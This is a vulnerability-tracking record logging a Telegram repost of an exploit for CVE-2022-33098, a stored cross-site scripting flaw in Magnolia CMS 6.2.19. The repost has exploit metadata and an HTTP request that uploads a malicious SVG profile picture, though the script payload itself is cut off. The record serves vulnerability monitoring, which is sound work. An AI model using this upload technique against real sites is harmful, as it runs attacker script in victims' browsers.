{"uuid": "51d93aff-359d-4435-90cb-265d402f1ce3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-33098", "type": "seen", "source": "https://t.me/hacking_Attack/60373", "content": "Exploit Collector\nMagnolia CMS 6.2.19 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-eFdyzozIeoQ/WWlvJBrapBI/AAAAAAAAIL0/M7DCjoWzT04QjJ3gTxRIZh_KH17rlqHhwCLcBGAs/s1600/h146.png \nMagnolia CMS versions 6.2.19 and below suffer from a persistent cross site scripting vulnerability.\n\nSHA-256 | 289cfd7e8ab83c714ebf68612f0144514c8350c9893a24195c411ff0823a4ab5\n\nDownload\n# Exploit Title: Magnolia CMS <=\n# Date: 08/05/2022\n# Exploit Author: Giulio Garzia 'Ozozuz'\n# Vendor Homepage: https://www.magnolia-cms.com/\n# Software Link: https://nexus.magnolia-cms.com/service/local/repositories/magnolia.public.releases/content/info/magnolia/bundle/magnolia-community-demo-webapp/6.2.19/magnolia-community-demo-webapp-6.2.19-tomcat-bundle.zip\n# Version: 6.2.19\n# Tested on: Linux, Windows, Docker\n# CVE : CVE-2022-33098\n\nExplanation\nMalicious user with the permissions to upload profile picture for a contact, can upload an SVG file containing malicious JavaScript code that will be executed by anyone opening the malicious resource.\n\n===== REQUEST =====\nPOST /magnoliaAuthor/.magnolia/admincentral/APP/UPLOAD/0/140/action/cba61868-b27a-4d50-983d-adf48b992be1 HTTP/1.1\nHost: 127.0.0.1:8080\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: multipart/form-data; boundary=---------------------------399178799522967017241464837908\nContent-Length: 620\nConnection: close\nCookie: csrf=_WLVhBj-Vv-sdc37C4GBahMJ1tPS_7o_Y1VCEEw18Ks; JSESSIONID=F2678A586264F811C2746E4138BEF34D\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: iframe\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\n\n-----------------------------399178799522967017241464837908\nContent-Disposition: form-data; name=\"140_file\"; filename=\"xss.svg\"\nContent-Type: image/svg+xml\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:01:44.679669Z"}